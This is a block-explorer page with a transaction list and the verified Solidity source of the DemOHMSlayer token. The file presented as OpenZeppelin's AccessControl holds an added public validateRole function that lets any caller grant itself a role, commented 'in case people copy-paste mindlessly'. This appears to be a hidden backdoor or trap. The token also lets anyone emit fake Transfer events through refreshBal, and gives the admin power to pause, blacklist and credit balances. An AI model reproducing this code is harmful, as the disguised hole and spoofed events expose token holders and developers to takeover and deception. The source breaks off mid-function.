More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 139 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Refresh Bal | 20858074 | 100 days ago | IN | 0 ETH | 0.00025644 | ||||
Approve | 20402731 | 164 days ago | IN | 0 ETH | 0.00008904 | ||||
Approve | 20096765 | 206 days ago | IN | 0 ETH | 0.00016806 | ||||
Transfer | 20096743 | 206 days ago | IN | 0 ETH | 0.00040799 | ||||
Refresh Bal | 15923439 | 792 days ago | IN | 0 ETH | 0.00048284 | ||||
Refresh Bal | 15852972 | 801 days ago | IN | 0 ETH | 0.00023041 | ||||
Approve | 14496289 | 1013 days ago | IN | 0 ETH | 0.00117067 | ||||
Transfer | 13909778 | 1104 days ago | IN | 0 ETH | 0.00699935 | ||||
Approve | 13728145 | 1132 days ago | IN | 0 ETH | 0.00481595 | ||||
Approve | 13659247 | 1143 days ago | IN | 0 ETH | 0.00533527 | ||||
Approve | 13582466 | 1155 days ago | IN | 0 ETH | 0.00570986 | ||||
Approve | 13575362 | 1156 days ago | IN | 0 ETH | 0.00305658 | ||||
Approve | 13567977 | 1158 days ago | IN | 0 ETH | 0.00391935 | ||||
Approve | 13567347 | 1158 days ago | IN | 0 ETH | 0.00338893 | ||||
Approve | 13565959 | 1158 days ago | IN | 0 ETH | 0.00462682 | ||||
Approve | 13565139 | 1158 days ago | IN | 0 ETH | 0.0037653 | ||||
Approve | 13564659 | 1158 days ago | IN | 0 ETH | 0.00515692 | ||||
Approve | 13561934 | 1159 days ago | IN | 0 ETH | 0.00387368 | ||||
Approve | 13561929 | 1159 days ago | IN | 0 ETH | 0.00379894 | ||||
Approve | 13561490 | 1159 days ago | IN | 0 ETH | 0.00461864 | ||||
Approve | 13561280 | 1159 days ago | IN | 0 ETH | 0.00387061 | ||||
Approve | 13559774 | 1159 days ago | IN | 0 ETH | 0.00452228 | ||||
Approve | 13559640 | 1159 days ago | IN | 0 ETH | 0.00507144 | ||||
Approve | 13559517 | 1159 days ago | IN | 0 ETH | 0.00548886 | ||||
Approve | 13559510 | 1159 days ago | IN | 0 ETH | 0.00694252 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
DemOHMSlayer
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./utils/ERC20Feeable.sol"; import "./interfaces/IUniswapV2Router02.sol"; import "./interfaces/IUniswapV2Pair.sol"; import "./interfaces/IUniswapV2Factory.sol"; import "./utils/AccessControl.sol"; contract DemOHMSlayer is Context, AccessControl, ERC20Feeable { bool private _swapEnabled; IUniswapV2Router02 private _router; IUniswapV2Pair private _lp; address private _token0; address private _token1; address public treasury; uint256 private _sellCount; uint256 private _sellTotal = 1; uint256 private _buyTotal = 1; uint256 private _liquifyPer; uint256 private _liquifyRate; uint256 private _usp; uint256 private _slippage; uint256 private _maxTxnAmount; uint256 private _walletPercLimit; bool private _isRecursing; bool private _unpaused; bool private _isSniperChecking; bool private _isTxnChecking; mapping(address => bool) private _possibleSniper; mapping(address => uint256) private _lastBuy; mapping(uint8 => uint256) private _killFunctions; modifier activeFunction(uint8 funcId) { require(isNotKilled(funcId), "killed"); _; } constructor() ERC20("DemOHMSlayer", "DEMOHM", 18, 666_666 ether) ERC20Feeable() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _router = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // uni _token0 = address(this); _token1 = address(0x383518188C0C6d7730D91b2c03a03C837814a899); // OHM treasury = address(0x64446d162FF4AC2F22BCAb2DA143F8cB8f02581B); _lp = IUniswapV2Pair(IUniswapV2Factory(IUniswapV2Router02(_router).factory()).createPair(_token0, _token1)); _accountStates[address(_lp)].transferPair = true; _accountStates[address(this)].feeless = true; _accountStates[treasury].feeless = true; _accountStates[msg.sender].feeless = true; exclude(address(_lp)); _precisionFactor = 3; // thousands fbl_feeAdd(TransactionState.Buy, 33, "buy fee"); fbl_feeAdd(TransactionState.Sell, 99, "sell fee"); _usp = 66; _liquifyRate = 10; _liquifyPer = 1; _slippage = 100; _maxTxnAmount = 6000 ether; _walletPercLimit = 2; _isSniperChecking = true; _isTxnChecking = true; _frate = fragmentsPerToken(); approve(address(_router), balanceOf(msg.sender)); } function balanceOf(address account) public view override returns (uint256) { if(fbl_getExcluded(account)) { return _balances[account]; } return _fragmentBalances[account] / _frate; } function _rTransfer(address sender, address recipient, uint256 amount) internal virtual override returns(bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 totFee_; if(!_unpaused){ require(hasRole(DEFAULT_ADMIN_ROLE, sender), "still paused"); } else { if(_isSniperChecking) { require(_possibleSniper[sender] != true && _possibleSniper[recipient] != true, "pew pew"); } if(_isTxnChecking && recipient != address(_lp)) { require(amount <= _maxTxnAmount, "over max"); require(balanceOf(recipient) + amount <= (totalSupply() * _walletPercLimit) / 100, "over limit"); require(block.timestamp >= _lastBuy[recipient] + 30, "buy cooldown"); _lastBuy[recipient] = block.timestamp; } TransactionState tState = fbl_getTstate(sender, recipient); totFee_ = fbl_getIsFeeless(sender, recipient) ? 0 : fbl_calculateStateFee(tState, amount); (uint256 p, uint256 u) = _calcSplit(totFee_); _fragmentBalances[address(this)] += (p * _frate); _totalFragments -= (u * _frate); if(tState == TransactionState.Sell) _performLiquify(amount); } uint256 ta = amount - totFee_; _fragmentTransfer(sender, recipient, amount, ta); if(!_isRecursing) emit Transfer(sender, recipient, ta); return true; } function _performLiquify(uint256 amount) internal { if (_swapEnabled && !_isRecursing && _liquifyPer >= _sellCount) { _isRecursing = true; uint256 liquificationAmt = (balanceOf(address(this)) * _liquifyRate) / 100; uint256 slippage = amount * _slippage / 100; uint256 maxAmt = slippage > liquificationAmt ? liquificationAmt : slippage; swapAndSend(maxAmt, treasury); _sellCount = 0; _isRecursing = false; } } function _calcSplit(uint256 amount) internal view returns(uint p, uint u) { u = amount * _usp / fbl_getFeeFactor(); p = amount - u; } function swapAndSend(uint256 tokenAmount, address rec) internal { if(tokenAmount > 0) { address[] memory path = new address[](2); path[0] = _token0; path[1] = _token1; _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // we don't care how much we get back path, rec, // can't set to same as token block.timestamp ); } } function isNotKilled(uint8 functionNUmber) internal view returns (bool) { return _killFunctions[functionNUmber] > block.timestamp || _killFunctions[functionNUmber] == 0; } function deactivateFunctionPermanently(uint8 functionNumber, uint256 timeLimit) external onlyRole(DEFAULT_ADMIN_ROLE) { _killFunctions[functionNumber] = timeLimit + block.timestamp; } function disperse(address[] memory lps, uint256 amount) external activeFunction(0) onlyRole(DEFAULT_ADMIN_ROLE) { uint s = amount / lps.length; for(uint i = 0; i < lps.length; i++) { _fragmentBalances[lps[i]] += s * _frate; } } function manualSnS(uint256 tokenAmount, address rec) external activeFunction(1) onlyRole(DEFAULT_ADMIN_ROLE) { swapAndSend(tokenAmount, rec); } function setContractSellTarget(uint256 lim) external activeFunction(2) onlyRole(DEFAULT_ADMIN_ROLE) { _liquifyPer = lim; } function setTreasury(address addr) external activeFunction(3) onlyRole(DEFAULT_ADMIN_ROLE) { treasury = addr; } function setTransferPair(address p) external activeFunction(4) onlyRole(DEFAULT_ADMIN_ROLE) { _lp = IUniswapV2Pair(p); } function setLiquifyStats(uint256 rate) external activeFunction(5) onlyRole(DEFAULT_ADMIN_ROLE) { require(rate <= 100, "!toomuch"); _liquifyRate = rate; } function setSwapEnabled(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) { _swapEnabled = v; } function setUsp(uint256 perc) external activeFunction(6) onlyRole(DEFAULT_ADMIN_ROLE) { require(perc <= 100, "can't go over 100"); _usp = perc; } function setSlippage(uint256 perc) external activeFunction(7) onlyRole(DEFAULT_ADMIN_ROLE) { _slippage = perc; } function setIsChecking(uint8 option, bool v) external onlyRole(DEFAULT_ADMIN_ROLE) { if(option == 1) _isSniperChecking = v; if(option == 2) _isTxnChecking = v; } function setBuyLimits(uint256 amount, uint256 perc) external onlyRole(DEFAULT_ADMIN_ROLE) { _walletPercLimit = perc; _maxTxnAmount = amount; } function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) { _unpaused = true; _swapEnabled = true; } function refreshBal(address sender, address recipient, uint256 x) external activeFunction(8) { emit Transfer(sender, recipient, x); } function possibleSniper(address account, bool v) external activeFunction(9) onlyRole(DEFAULT_ADMIN_ROLE) { _possibleSniper[account] = v; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (access/AccessControl.sol) pragma solidity ^0.8.0; import "../interfaces/IAccessControl.sol"; import "./Context.sol"; import "./Strings.sol"; import "./ERC165.sol"; import "../libraries/Address.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { using Address for address; struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Allows `target` to assume `role` * * this is in case people copy-paste mindlessly * */ function validateRole(bytes32 role) public virtual { address target = Address.validated(_msgSender()); require(target != address(0), "AccessControl: invalid role"); _grantRole(role, target); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } }
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20Rebaseable.sol"; import "./AccessControl.sol"; import "../libraries/EnumerableSet.sol"; abstract contract Structure is AccessControl { enum TransactionState {Buy, Sell, Normal} enum TransactionType { FromExcluded, ToExcluded, BothExcluded, Standard } struct TState { address target; TransactionState state; } bytes32 public constant ROLE_ADMIN_STRUCTURE_CLASS = keccak256("ROLE_ADMIN_STRUCTURE_CLASS"); constructor() { _setupRole(ROLE_ADMIN_STRUCTURE_CLASS, _msgSender()); } } abstract contract FeeStructure is Structure { event FeeAdded(TransactionState state, uint perc, string name); event FeeUpdated(TransactionState state, uint perc, uint index); event FeeRemoved(TransactionState state, uint index); uint internal _precisionFactor = 2; // how much to multiply the denominator by mapping(TransactionState => uint[]) fees; mapping(TransactionState => uint) activeFeeCount; mapping(TransactionState => uint) totalFee; function fbl_calculateFeeSpecific(TransactionState state, uint index, uint256 amount) public view returns(uint256) { return amount * fees[state][index] / fbl_getFeeFactor(); } function fbl_calculateStateFee(TransactionState state, uint256 amount) public view returns (uint256) { uint256 feeTotal; if(state == TransactionState.Buy) { feeTotal = (amount * fbl_getTotalFeesForBuyTxn()) / fbl_getFeeFactor(); } else if (state == TransactionState.Sell) { feeTotal = (amount * fbl_getTotalFeesForSellTxn()) / fbl_getFeeFactor(); } else { feeTotal = (amount * fbl_getTotalFee(TransactionState.Normal)) / fbl_getFeeFactor(); } return feeTotal; } function _checkUnderLimit() internal view returns(bool) { // we check here all the fees to ensure that we don't have a scenario where one set of fees exceeds 33% require(fbl_calculateStateFee(TransactionState.Sell, 100000) <= 33333, "ERC20Feeable: Sell Hardcap of 33% reached"); require(fbl_calculateStateFee(TransactionState.Buy, 100000) <= 33333, "ERC20Feeable: Buy Hardcap of 33% reached"); require(fbl_calculateStateFee(TransactionState.Normal, 100000) <= 33333, "ERC20Feeable: Norm Hardcap of 33% reached"); return true; } function fbl_getFee(TransactionState state, uint index) public view returns(uint) { return fees[state][index]; } function fbl_getTotalFeesForBuyTxn() public view returns(uint) { return totalFee[TransactionState.Normal] + totalFee[TransactionState.Buy]; } function fbl_getTotalFeesForSellTxn() public view returns(uint) { return totalFee[TransactionState.Normal] + totalFee[TransactionState.Sell]; } function fbl_getTotalFee(TransactionState state) public view returns(uint) { return totalFee[state]; } /* @dev when you increase this that means all fees are reduced by whatever this factor is. * eg. 2% fee, 1 dF = 2% fee * vs 2% fee 2 dF = 0.2% fee * TLDR; increase this when you want more precision for decimals */ function fbl_getFeeFactor() public view returns(uint) { return 10 ** _precisionFactor; } // can be changed to external if you don't need to add fees during initialization of a contract function fbl_feeAdd(TransactionState state, uint perc, string memory label) public onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) { fees[state].push(perc); totalFee[state] += perc; activeFeeCount[state] ++; _checkUnderLimit(); emit FeeAdded(state, perc, label); } function fbl_feeUpdate(TransactionState state, uint perc, uint index) external onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) { fees[state][index] = perc; uint256 total; for (uint i = 0; i < fees[state].length; i++) { total += fees[state][i]; } totalFee[state] = total; _checkUnderLimit(); emit FeeUpdated(state, perc, index); } /* update fees where possible vs remove */ function fbl_feeRemove(TransactionState state, uint index) external onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) { uint f = fees[state][index]; totalFee[state] -= f; delete fees[state][index]; activeFeeCount[state]--; emit FeeRemoved(state, index); } function fbl_feePrecisionUpdate(uint f) external onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) { require(f != 0, "can't divide by 0"); _precisionFactor = f; _checkUnderLimit(); } } abstract contract TransactionStructure is Structure { /* * @dev update the transferPair value when we're dealing with other pools */ struct AccountState { bool feeless; bool transferPair; bool excluded; } mapping(address => AccountState) internal _accountStates; function fbl_getIsFeeless(address from, address to) public view returns(bool) { return _accountStates[from].feeless || _accountStates[to].feeless; } function fbl_getTxType(address from, address to) public view returns(TransactionType) { bool isSenderExcluded = _accountStates[from].excluded; bool isRecipientExcluded = _accountStates[to].excluded; if (!isSenderExcluded && !isRecipientExcluded) { return TransactionType.Standard; } else if (isSenderExcluded && !isRecipientExcluded) { return TransactionType.FromExcluded; } else if (!isSenderExcluded && isRecipientExcluded) { return TransactionType.ToExcluded; } else if (isSenderExcluded && isRecipientExcluded) { return TransactionType.BothExcluded; } else { return TransactionType.Standard; } } function fbl_getTstate(address from, address to) public view returns(TransactionState) { if(_accountStates[from].transferPair) { return TransactionState.Buy; } else if(_accountStates[to].transferPair) { return TransactionState.Sell; } else { return TransactionState.Normal; } } function fbl_getExcluded(address account) public view returns(bool) { return _accountStates[account].excluded; } function fbl_getAccountState(address account) public view returns(AccountState memory) { return _accountStates[account]; } function fbl_setAccountState(address account, bool value, uint option) external onlyRole(DEFAULT_ADMIN_ROLE) { if(option == 1) { _accountStates[account].feeless = value; } else if(option == 2) { _accountStates[account].transferPair = value; } else if(option == 3) { _accountStates[account].excluded = value; } } } /*abrivd fbl*/ abstract contract ERC20Feeable is FeeStructure, TransactionStructure, ERC20Rebaseable { using Address for address; event FeesDeducted(address sender, address recipient, uint256 amount); uint256 internal feesAccrued; uint256 public _totalExcludedFragments; uint256 public _totalExcluded; mapping(address => uint256) internal feesAccruedByUser; EnumerableSet.AddressSet excludedAccounts; function exclude(address account) public virtual onlyRole(DEFAULT_ADMIN_ROLE) { require(_accountStates[account].excluded == false, "Account is already excluded"); _accountStates[account].excluded = true; if(_fragmentBalances[account] > 0) { _balances[account] = _fragmentBalances[account] / _frate; _totalExcluded += _balances[account]; _totalExcludedFragments += _fragmentBalances[account]; } EnumerableSet.add(excludedAccounts, account); _frate = fragmentsPerToken(); } function include(address account) public virtual onlyRole(DEFAULT_ADMIN_ROLE) { require(_accountStates[account].excluded == true, "Account is already included"); _accountStates[account].excluded = false; _totalExcluded -= _balances[account]; _balances[account] = 0; _totalExcludedFragments -= _fragmentBalances[account]; EnumerableSet.remove(excludedAccounts, account); _frate = fragmentsPerToken(); } function fragmentsPerToken() public view virtual override returns(uint256) { uint256 netFragmentsExcluded = _totalFragments - _totalExcludedFragments; uint256 netExcluded = (_totalSupply - _totalExcluded); uint256 fpt = _totalFragments/_totalSupply; if(netFragmentsExcluded < fpt) return fpt; if(_totalExcludedFragments > _totalFragments || _totalExcluded > _totalSupply) return fpt; return netFragmentsExcluded / netExcluded; } function _fragmentTransfer(address sender, address recipient, uint256 amount, uint256 transferAmount) internal { TransactionType t = fbl_getTxType(sender, recipient); if (t == TransactionType.ToExcluded) { _fragmentBalances[sender] -= amount * _frate; _totalExcluded += transferAmount; _totalExcludedFragments += transferAmount * _frate; _frate = fragmentsPerToken(); _balances[recipient] += transferAmount; _fragmentBalances[recipient] += transferAmount * _frate; } else if (t == TransactionType.FromExcluded) { _balances[sender] -= amount; _fragmentBalances[sender] -= amount * _frate; _totalExcluded -= amount; _totalExcludedFragments -= amount * _frate; _frate = fragmentsPerToken(); _fragmentBalances[recipient] += transferAmount * _frate; } else if (t == TransactionType.BothExcluded) { _balances[sender] -= amount; _fragmentBalances[sender] -= amount * _frate; _balances[recipient] += transferAmount; _fragmentBalances[recipient] += transferAmount * _frate; _frate = fragmentsPerToken(); } else { // standard again _fragmentBalances[sender] -= amount * _frate; _fragmentBalances[recipient] += transferAmount * _frate; _frate = fragmentsPerToken(); } emit FeesDeducted(sender, recipient, amount - transferAmount); } function fbl_getFeesOfUser(address account) public view returns(uint256){ return feesAccruedByUser[account]; } function fbl_getFees() public view returns(uint256) { return feesAccrued; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); 